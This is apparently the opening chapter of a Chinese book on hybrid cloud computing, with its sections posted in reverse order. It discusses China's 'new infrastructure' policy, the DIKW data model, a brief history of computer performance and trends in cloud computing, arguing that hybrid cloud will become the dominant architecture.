1.3 混合云助力新基建1.3.1 什么是新基建 “新基建”即新型基础设施建设的简称,根据国家发改委官方对“新基建”的解读,新型基础设施主要包括三方面内容。 一是信息基础设施,主要指基于新一代信息技术演化生成的基础设施,比如,以5G、物联网、工业互联网、卫星互联网为代表的通信网络基础设施,以人工智能、云计算、区块链等为代表的新技术基础设施,以数据中心、智能计算中心为代表的算力基础设施等。 二是融合基础设施,主要指深度应用互联网、大数据、人工智能等技术,支撑传统基础设施转型升级,进而形成的融合基础设施,比如智能交通基础设施、智慧能源基础设施等。 三是创新基础设施,主要指支撑科学研究、技术开发、产品研制的具有公益属性的基础设施,比如重大科技基础设施、科教基础设施、产业技术创新基础设施等。新型基础设施包含的范围如图1-2 所示。图1-2 新型基础设施包含的范围从官方定义可以看出,信息基础设施是以5G、物联网、工业互联网、卫星互联网等作为新一代网络基础设施,并以云技术作为计算基础设施,最终形成一张比当前消费互联网更大、更快的网络,并通过这个网络形成新型信息基础设施。 同时,信息基础设施是新基建的基础,融合基础设施是信息基础设施对传统基础设施的赋能,促进其信息化、智能化。而创新基础设施建设的主要目的是为前沿技术、基础研究等提供基础性平台,而这些研究最终都会落实到大量数据计算和分析上,这同样离不开信息基础设施。 接下来,我们讨论云计算为何是新基建的基础。1.3.2 云计算是数字经济的基础设施 数字经济的典型特征就是经济活动以数据为基础。前面介绍了云计算起源的市场和技术背景,但要说清云计算是数字经济的基础设施,我们先得介绍一下DIWK 模型。DIKW 是4 个词汇的缩写——Data、Information、Knowledge、Wisdom,即数据、信息、知识、智慧。DIKW 模型将泛数据按照这4 个维度进行划分,并分别进行了如下定义。 数据:用来抽象现实物体,描述物体属性、状态的数据。比如商店里某一商品有名称、产地、价格等属性数据。 信息:在数据之间建立联系的数据,它与原始数据的区别是,它对数据进行了有意义的加工,比如统计商店里某一商品的月销量。 知识:对有意义的信息进行过滤、推理、验证,总结经验,并进一步指导实践。比如从商店里某一商品的历年月销量得出销售曲线,发现每年9 月份该商品的销量很高,于是店主就可以提前向厂家预定更多的货物。 智慧:从知识中挖掘出一种模式,其可以回答Why 之类的问题,也有指导做出正确决定和判断的能力。还拿上一个例子来说,店主发现某一商品在每年9 月份销量很高,但并不知道原因,后来通过分析发现购买该商品的人同时也买了很多学习方面的文具,再根据购买时间是开学季,可以判断出购买人员是学生。根据这个分析,商店又补充了与开学相关的商品,结果发现这些商品在9 月份销量也很好。 由此我们可以得出如下结论。数据维度随着这样的顺序逐渐增高 :数据→信息→知识→智慧,维度越高的数据越有价值。从低维数据迈向高维数据,需要对数据不断进行加工、分析、挖掘等处理。每个维度的数据处理都需要计算,数据层次越高需要的算力越大。 根据以上分类,也可以粗略地将信息化革命分为4 个阶段。 1998 年以前:以数据库为基础的信息化阶段,主要目标是数字化,即将各种物体以库表形式保存到数据库中进行管理。 1999—2008 年:以Web 信息化为主的互联网阶段,主要目标是信息化,以Google 为代表的搜索引擎技术加速了全球信息Web 化过程。 2009—2016 年:以大数据、云计算为主的消费互联网阶段,在这一阶段,随着智能手机的普及,推动了大数据和云计算的快速发展,这也是一个巨量信息转化为知识的过程。 2016 年至今:迈向以人工智能为基础的信息化革命,其主要标志是各行各业开始以深度学习技术为基础,开启了面向人工智能的技术转向,可以预见的是,这个过程未来会持续很长一段时间。 当然,以上各阶段分类比较粗略,不是说某个阶段只有相应的技术在发展,而是说该阶段相应的技术发展占主流。比如2009—2016 年这个阶段,大数据和云计算快速发展,而2016 年AI 爆发,这并不表示云计算到2016 年就停止发展了;相反,大数据和云计算等技术至今仍在快速发展中。同理,由于近几年物联网的发展,越来越多的设备接入物联网,这也意味着有更多领域应用开启了数字化过程, 随后物联网领域相关应用就会爆发,进一步促使物联网进入信息化、知识阶段。上述分类只是大致表述信息化革命的几个时间段, 便于理解我们处在信息化的哪个阶段。 再回到官方对“新基建”的定义上,信息基础设施建设的主要目的是通过促进5G、物联网、工业互联网、卫星互联网等新一代网络基础设施的发展,增加更多实体之间的数据连接,同时加快这些数据的流动,最终在此基础上通过云计算加工成知识、挖掘出智慧。 此外,随着数据量越来越大,加工成知识、挖掘出智慧所需要的算力就会越来越大,对计算性能的要求会越来越高,相应的计算成本也会越来越高。根据1.2.2 节介绍的性能定律可以得出如下逻辑:计算会越来越集中,云就是这种计算集中的具体体现,同时当前只有公有云提供了针对大数据、物联网、AI等各种场景的完整的数据处理方案,所以,最终要么将数据放到公有云中进行集中加工处理,要么自建私有云进行处理,或者采取混合云架构。 综上所述,新基建的三大基础设施是以云计算为基础,以5G、物联网、卫星互联网等为代表的新型联网形式的信息处理平台,未来其将承担社会绝大部分计算任务。1.3.3 混合云是新基建的流行架构 Gartner 指出,混合云通过融合公有云和私有云,将成为云计算的主要模式和发展方向;IDC 也预测,未来混合云将占整个云市场的67%。 当前,云通过优秀的大数据处理能力、性价比极高的算力,开启了消费互联网时代,同时带动了其他行业“云化”的变革,比如政务云形成了数字政府,城市大脑构建了智慧城市,金融云点燃了手机支付革命,所以,云计算已经逐渐成为整个国家的基础设施。20 年前Web 信息化有句口号:“如果现在还有哪些数据没上Web,未来也没有必要上了!”如今也可以这么说:“如果现在还有哪些业务没有上云,未来也没有必要了!” 此外,对于那些传统上已经使用和即将使用私有云作为IT 架构的企业,它们都必须面对一个现实:公有云近十几年得到了长足发展,无论其产品的丰富程度还是性价比都远超私有云,在无法抛弃现有私有云架构的情况下,通过混合云形式拥抱公有云、享受公有云的技术红利将成为企业的必然选择。 而对新基建的用户来说,无论其他基础设施如何发展,他们最终都会面临上面提到的算力性能瓶颈、计算成本高企、计算工具缺乏、巨量数据灾备等问题,而这些问题的解决方案都是公有云厂商的强项。一些新基建用户由于数据安全、法律合规等原因,可能仍然需要自建小规模私有云来保存、处理敏感数据。面对这种情形,正与Gartner 指出的一样,混合云将是云的主要发展方向,而云作为新基建的基础也必然会以混合云形式在这个过程中发挥主流作用。
1.2 云计算概述 在介绍云计算之前,我们需要问如下几个问题:云计算技术为何出现和存在?云计算短期发展方向是什么?云计算未来是否会存在?如果存在的话会是什么样子? 要回答这些问题,我们得回顾一下计算机发展历程,看看驱动计算机技术发展的动因究竟是什么。1.2.1 计算机简史1.概述 计算机技术发展经历了一个漫长的过程,是人类思想穿透历史和未来的迷雾,摆脱现实物理世界的桎梏,开启另一个全新虚拟世界的发展过程,是人类思维的伟大胜利。 根据制造材料的不同,可以将计算机发展分为如下几个阶段。 第一阶段:原型计算机。 第二阶段:电子管计算机。 第三阶段:晶体管计算机。 第四阶段:集成电路计算机。 从这几个阶段的一些关键事件可以看出,计算机技术发展是渐进的过程,在这个过程中,从机械计算器的发明、布尔代数的出现,到图灵机模型、冯·诺依曼体系结构的提出,逐步奠定了计算机的理论基础,后面的电子管、晶体管、集成电路等技术的出现使计算机的物理基础越来越成熟,直至摩尔定律的出现,大大推进了计算机技术的发展,让人类快速迈入了信息时代。2. 关键事件 时至今日,在计算机发展史上有两个关键事件仍然在深刻影响计算机性能的发展。 (1)冯·诺依曼体系结构 1945 年冯·诺依曼提出了著名的冯·诺依曼体系结构,如图1-1 所示。该结构明确了新机器由5 部分组成:运算器、逻辑控制装置、存储器、输入设备和输出设备。 图1-1 冯·诺依曼体系结构 这种结构将计算单元和数据存储单元分离,通过将程序和数据一起存储在内存,并通过控制器来控制指令的加载和执行。这种体系结构为现代计算机结构奠定了基础,直到现在,计算机的设计仍然遵从该体系结构。 (2)摩尔定律 1965 年戈登·摩尔提出了日后影响业界半个多世纪的摩尔定律,至今它仍在推动计算机行业的发展。 接下来详细分析这两个事件是如何影响计算机性能的演进的。1.2.2 计算机性能的决定因素 现代计算机本质上是按照冯·诺依曼体系结构处理数据的,在这种结构设计中负责计算的处理器和负责存储数据的存储器是分离的。CPU 的发展让计算性能提高得很快,但CPU 速度跟内存速度之间存在几个数量级的差别,而且由于物理性质限制,这种速度差别不可能弥合。这意味着有如下性能定律:只有计算集中才能提升性能。距离是计算的敌人,无论什么尺寸规模(CPU 和内存之间、内存和外设之间、计算机之间即各个物理尺度),相对计算性能来说,数据移动成本都很高,距离在很大程度上决定了计算性能。计算机性能的矛盾体现在高速CPU和低速内存及外设之间的矛盾上。 需要注意的是,这些定律不仅适用于单台计算机,而且适用于由很多计算机组成的集群。 毫无疑问,CPU 决定了计算机性能的上限。下面我们从CPU 的各个技术层面看看有哪些技术决定了其性能。 摩尔定律指出:当价格不变时,集成电路可容纳的晶体管数约每隔18 个月便会增加1 倍,性能也增加1 倍。 我们看看是哪些技术在提升计算机性能,具体有如下几个因素。集成电路的规模不断扩大,这是工艺制程水平的提高,在微观上缩短了晶体管器件的通信距离,提升了性能,降低了能耗。频率也决定了CPU 的性能,时钟频率从最初只有几MHz 提高到目前最高达3.XGHz,提高时钟频率让单位指令执行的时间缩短。总线技术革新大幅提高了数据传输效率,这表现在两个方面: - 南北总线结构可以分离快速设备和慢速设备,提高总线运行效率。 - 增加总线带宽可以增加一次访问的数据量。CPU 内的流水线技术有效提升了性能,这种技术可以在一个时钟周期内同时执行多个指令。CPU Cache 的大量运用提高了数据传输效率。由于程序运行的局部性原理,Cache 能提高程序/ 数据的命中率,从而避免了从慢速的RAM 加载数据。多核的出现,通过水平扩充的方式增加了 CPU 的算力,这意味着通过CPU 频率提升性能方式的终结。虚拟化技术在提升性能的同时也带动了云计算的发展。 综上可以看出,计算机性能是从如下三个方面来提升的:工艺水平,具体表现为摩尔定律驱动的晶体管制程水平的提高。垂直扩展(scale-up),通过提高 CPU 内的各种技术点来提升单个 CPU核心的性能。水平扩展(scale-out),通过多核堆叠、虚拟化技术来提升性能。 当CPU 发展到一定阶段后,单纯通过工艺水平来提高其性能就会遇到瓶颈,工艺制程水平的提高让晶体管之间连接的物理距离变短,的确能提升整体性能,并且这种性能提升方式在集成电路发展早期非常有效,但在目前阶段工艺水平的改进对CPU 性能提升就不那么明显了。随着集成度的提高,工艺制程水平的提高会越来越难,直至最终到达晶体管尺寸的极限。 此外,通过CPU 内的技术改进所带来的性能提升也几乎走到了尽头,所以水平扩展就成了性能最后的救星了,这种方式是通过增加CPU 内的核心数和通过虚拟化技术虚拟多个CPU 来提升性能的。这条路到最后也很难走通,因为超过8 核后,多核对程序的加速功能就会逐渐减弱(对大部分非并行化运行的程序而言)。 总结起来就是,如果把多核CPU 的计算机看作一个计算节点,则意味着单个计算节点的性能是有上限的,而且从性价比角度来看,这个上限已经到来。但存在的问题是,数智时代对计算性能的需求日益增长,同时基于前面提到的性能定律:距离是计算的敌人,数据离计算单元越近性能会越好。所以,将海量的、有性能容量上限的单个计算节点集中互联在一起对外提供计算服务模式就应运而生了。1.2.3 云计算发展趋势1. 云计算简史 从2006 年谷歌提出云端计算的概念开始,云计算至今已经走过了15 年发展历程,在传统业务快速云化的需求推动下,云计算从最开始的虚拟化开始普及,以VMware ESXi、Microsoft HyperV 及开源的Xen、KVM 为主的虚拟化平台,通过vSwitch 将物理网络转换成虚拟网络,并使用VSAN、FC 或iSCSI 方式将异构存储池化,将存储和网络资源集中调度分配给虚拟机使用。在这一阶段,云计算基础设施都以私有化部署为主,运维人员是云资源的主要分配者,而开发人员和测试人员则是云资源的使用方,他们使用云资源的方式和使用传统物理机的方式基本上是相同的。资源的池化并没有给应用架构设计带来本质上的改变,但应用的虚拟化部署极大地提高了部署效率,并有效地提升了物理资源的利用率。 在云计算发展的第二阶段,引入软件定义网络(SDN)、软件定义存储(SDS)及容器化技术实现了基础设施即服务(IaaS),并通过命名空间和隧道标签协议等技术实现了多租户的资源隔离。由于IaaS 技术的日渐成熟,如关系型数据库、KV 数据库、消息中间件等通用的企业级产品被集成到IaaS 上向租户提供平台即服务(PaaS)的能力,用户可以通过统一的门户和标准化的API 接口自助申请使用IaaS 和PaaS 资源,实现应用的自动化部署。随着云计算技术的快速发展,传统烟囱式的架构开始向分布式云架构转变,单体式应用向轻量化转变被拆分成不同的服务模块,从物理机或虚拟机迁移到云主机和容器平台,以减小组件之间的耦合并降低组件故障带来的影响。数据库也逐渐从传统关系型数据库如Oracle 迁移到PG 和MySQL 等开源数据库,与数据库紧密相连的底层SAN 存储也逐步被分布式存储所替代。在这一阶段,各类基础云产品被业务系统抽离出来进行统一的编排和调度,DevOps 应运而生并得到了快速发展。在上云选择上,由于公有云具有产品丰富、按量付费、弹性伸缩和超大带宽等优势,特别适合中小企业及互联网企业使用,用户不需要花费高昂的成本和较长的时间周期来建造IDC,也不需要完备的IT 支撑体系,就可以在云上搭建自己的业务系统,大量用户开始选择使用公有云。公有云在这期间有了爆发式的增长。 在公有云快速增长的同时,私有云并没有停滞不前。由于法律合规、安全可控等需求,一些企业基于开源技术打造了适合自己的私有云平台,但维护一朵云需要大量的人力和财力投入,而且这朵云不一定能满足不同用户的各种个性化需求。为实现快速上云的目标,很多企业会采购厂商的云产品来进行私有云部署。不管是自研还是采购厂商的云平台,私有云部署都需要投入硬件和基础架构的运营成本,因此,这些企业在完成私有云建设的基础上,开始借助公有云的能力对外提供服务。在这一阶段混合的云计算能力被大量运用。 从2017 年开始,鉴于公有云具有竞争性的价格、性能等市场因素,越来越多的企业开始采用混合云作为IT 架构,市场研究机构Gartner、IDC 也力推混合云,因此2017 年被认为是混合云发展元年,在这之前公有云和私有云并行在各自领域平行发展。由于公有云的面向开放的市场特点,其近十年得到了长足的发展,至今仍在快速发展中。虽然私有云规模依然很庞大,但相对来说,其发展要慢得多,无论是在产品丰富程度上还是在性价比上,公有云都远胜于私有云,这也是之前公有云领导者AWS 无视私有云的存在、不看好私有云的原因。此外,在公有云发展早期,也有一种观点:看好私有云,不看好公有云,觉得私有云是未来。这种观点一度很盛行。但近几年这两派观点都从对方身上发现了优点:从私有云角度,公有云代表了产品丰富、快速迭代、自由开放的市场;从公有云角度,私有云在满足数据安全、法律合规方面短时间无法被取代。这就是混合云目前面临的机会。2. 云计算出现的原因 云计算的出现有市场和技术两方面的原因,先看看市场原因。 云计算正是产生于“后摩尔定律”时代,在这一时代,由于工艺制程的限制,CPU 集成度越来越难提高,同时单纯通过提高CPU 集成度并不能大幅提升性能,而社会每年产生的数据量以远超摩尔定律的速度扩张,对计算性能的需求越来越大。根据1.2.2 节提到的有关性能的定律,只有计算集中才能提升性能,同时距离是计算的敌人。此外,Grid 模式的超算中心进行的也是集中计算,但由于技术架构的原因,其要求有统一的可靠硬件,成本比较高、难扩展,所以建立以普通PC 为主的超大数据中心来满足全社会的计算需求就顺理成章了。 云计算在很大程度上是一种生意模式。很多互联网公司需要一种所谓的轻资产模式,即:这些公司有很多计算业务,但不愿自建数据中心,因为数据中心是重资产,需要比较大的投入,以及进行后期维护,而且随着时间的流逝,数据中心这样的资产减值很快,这个痛点刚好就是云计算的生意本身,它让这些企业无须对物理资产进行投入,也无须在硬件上投入人员运维,并且还可以避免硬件资产随着时间而快速减值。 除了市场原因,云计算的出现和存在还有很多技术原因。一种产品的出现和流行一定会等到相关技术相对成熟后,云计算也不例外。云计算的出现和存在主要得益于如下关键技术的成熟:虚拟化技术。分布式存储技术,如GFS、Ceph。基于 x86平台的 SDN交换机。Linux Server。KV数据库。 可以这么说,没有这些关键技术云计算就不可能存在。值得注意的是,很多核心技术并不是产生于云技术,而是在云技术出现之前就已经相当成熟了。正是在这些条件的催化下,2006 年AWS 首先开启了基于虚拟化技术的云计算商业服务。 总结:云计算是为了解决巨大的计算需求,而建立在众多关键成熟技术上的一门互联网生意。3. 云计算短期发展趋势 在讨论云计算的短期发展趋势之前,我们看看一个产品是如何被市场接受并流行起来的。 在正常市场机制作用下,功能、性能、价格这三个因素会对一个产品的销售起到决定性作用。其中功能和性能因素代表该产品的实用性,价格则决定了该产品的流行性。当然,市场机制比较复杂,还有各种因素参杂其中,比如行销策略、商业同盟、生态建设、公司策略、新技术的出现等,都有可能影响这个产品的发展趋势。 这里只讨论对消费者有直接影响的主要因素,即功能,性能和价格,只有这三个因素一起达到临界点时,这个产品才会得到大规模普及。同时,如果这个产品能以符合市场预期的速度迭代来提升功能和性能,那么它就会有非常好的流行趋势。 回到云计算上来,现在云计算正处在一个市场接受程度比较高的时期,大到国家,小到个人,都意识到云计算的重要性,目前其功能、性能已经能满足市场需求,价格也在逐年降低。总体来看,云计算短期发展趋势包括如下几个方面。垂直化:在各垂直领域,由于其个性性要求,公有云会对其进行部分定制,比如金融云、政务云等对安全要求更高,云厂商会在物理层面进行更高级的安全定制。混合云:随着公有云和私有云在两个平行领域发展十多年后,公有云无论在产品丰富程度上还是价格上都碾压私有云,但在数据安全和法律合规方面,私有云短时间内还无法被取代,所以目前阶段公有云和私有云混合就成了必然的流行趋势。微服务 :虽然 IaaS 长期占有较大的云计算服务比例,但近年来,随着基于Kubernetes 的微服务模式的流行与成熟,很多用户的应用服务会慢慢迁移到Kubernetes 平台。IoT:随着 5G 慢慢成熟,将会有越来越多的智能设备连接到云端,针对物联网的云平台将得到蓬勃发展。AI :基于 AI 的智能云会以服务方式渗透到各种应用中。生态化:IaaS、PaaS 基本已经发展成熟,特别是云原生的流行,将会有越来越多的开发者选择云平台进行开发、部署,同时围绕云原生软件厂商,用户会逐渐形成良好生态。4. 云计算长期发展趋势 未来5~10年,我们认为云计算有如下发展趋势。云计算依然存在,并且会得到进一步增强。原因依然是冯·诺依曼体系结构难以突破,这意味着当数据越来越多时,所要求的算力会越来越大,这样计算就会越来越中心化,同时数据也会向计算中心靠拢,这种力量就如同引力作用。这种趋势会在两个时间点发生变化: - 互联网速度大幅提高到数据迁移成本(时间和金钱)可以忽略。 - 计算和存储成本大幅下降。能提高算力的新技术会先在云端爆发。计算集群的扩张会给技术、成本、管理甚至能耗带来巨大挑战,同时也加快了云软硬件的快速迭代,凡是能提高算力的技术都会先应用到云端,因为只有云端的用户群是最广泛、最全面的。未来如量子计算、5G应用等也会先在云端出现。低价格让云计算普及到生活各个方面,真正成为社会基础设施。云发展仍处在上升期,有遵从摩尔定律的态势,这意味着单位算力的价格会逐年下降,从而吸引原来不在云上的服务,让云逐渐渗透到各个邻域,包括个人。云部署架构从集中化趋向于分布式发展。目前云部署架构集中在一些被称为“地域”的物理地点,各个地域都是独立的计算单元,彼此在技术上没有关联。由于网络的加速,未来各个地域在技术上的联系会加强。另外,各种用途的边缘计算的节点能力也会大大增强,这些节点会组成一个分布式云架构。
第1章 面向数智时代的云计算1.1 数智时代挑战与云计算 当时间来到2020年这个特殊的年份,一场突如其来的新冠肺炎疫情让全中国乃至全球的社会、经济运转骤然减速。其间,我们也庆幸地看到:一些关系到大众民生的社会基础功能遇到前所未有的挑战和困难,比如疫情下的社会治理、抗疫、教育、医疗、办公、购物等,这一切都得益于相关业务上云在线而有了相当大程度的缓解,各种在线教育、在线医疗、在线办公、在线购物等解决方案纷纷投入使用,解决了疫情期间大众的工作和生活问题。同时政府治理能力也因此得到大幅提升,抗疫医疗检测变得更加准确、高效及智能化,这背后的最大原动力和基础设施就是云计算。 回望过去的10年,我们可以肯定2010年是中国云计算的元年。2009年阿里云成立,第一行飞天代码在北京市昌平区上地一间简陋的办公室内诞生。2010年阿里小贷产品“牧羊犬”在阿里云的飞天平台上线,标志着云计算在中国正式被应用。同一时期,云计算也被纳入“‘十二五’国家战略性新兴产业发展规划”中。随后的“十三五”规划、国家政策的大力扶持及各级政府的积极推动,使云计算市场得到了持续飞速的发展。如今云计算已然成为支撑和服务于国计民生的真正意义上的重要基础设施之一。 在云计算的演进过程中,从最初的公共云服务到今天的混合云服务,同样体现了更多行业、场景以及异构传统IT 快速云化和数字化转型的进程。从信息化到数字化再到当前非常火热的智能化时代,自从计算机诞生至今,对算力和存储的需求从来没有如此之大规模以及极速增长。围绕着与云计算相关的硬件、技术、服务及从业者也在蓬勃发展,以应对这一场前所未有的技术革命,即:数据智能时代。 在数智时代新兴企业快速崛起,传统企业加速转型,旧有的商业格局被动摇,数字商业基础设施重构的进程已经开启,数智化带来了新的机会,但也带来了新玩家、新竞争,全球商业体系正在进入新一轮重塑阶段。怎样才能在大数据与人工智能技术勃发的今天有序推动企业数智化转型,成为很多企业决策者所面临的一项重要议题。对前沿趋势、最佳实践乃至失败教训的洞察,以及创新突破的方法,逐渐成为企业突破商业边界的有效手段。 我们可以清晰地判断,在当前时代面向未来10 年的发展中,我们面临既是机会也是挑战的几个问题如下:让所有设备在线。让所有数据在线。让所有在线的业务、数据更安全。让传统IT 最终全部走上云端。即开即用的云计算,真正体验上的“水电煤”。支撑超大规模低成本的算力来助力智能产品普惠大众。新基建赋予云计算的使命必达。 需要解决诸如此类问题的背后,我们的技术自信一定是来自数字经济时代的基础设施——云计算进一步发力。需要大家一起来探讨和开启云计算接纳更多应用、业务及IT 场景的技术架构能力,而混合云从现在到未来很多年则是支撑这一基础设施演进的重要依托(混合云技术是本书重点内容,在后续章节中将详细展开介绍)。
2022年01月
2021年12月
2021年11月